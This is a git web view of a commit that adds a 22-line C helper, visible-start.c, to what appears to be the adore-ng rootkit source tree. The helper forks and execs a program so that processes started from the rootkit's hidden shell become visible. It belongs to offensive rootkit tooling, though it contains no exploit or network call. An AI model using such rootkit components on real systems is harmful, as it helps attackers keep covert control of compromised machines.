summaryrefslogtreecommitdiff
path: root/other/adore-ng/visible-start.c
diff options
context:
space:
mode:
Diffstat (limited to 'other/adore-ng/visible-start.c')
-rw-r--r--other/adore-ng/visible-start.c22
1 files changed, 22 insertions, 0 deletions
diff --git a/other/adore-ng/visible-start.c b/other/adore-ng/visible-start.c
new file mode 100644
index 0000000..fc5b8d1
--- /dev/null
+++ b/other/adore-ng/visible-start.c
@@ -0,0 +1,22 @@
1/* Due to new proc hiding technique, from a hidden shell
2 * there cant be any processes started which are visible
3 * since the parent (shell) is invisible. So we have to
4 * make init the parent and then start the process. Then
5 * it is visible
6 */
7#include <stdio.h>
8#include <unistd.h>
9#include <stdlib.h>
10
11
12int main(int argc, char **argv, char **env)
13{
14 if (fork()) {
15 exit(0);
16 }
17 if (argc > 1)
18 execve(argv[1],argv+1, env);
19 return -1;
20}
21
22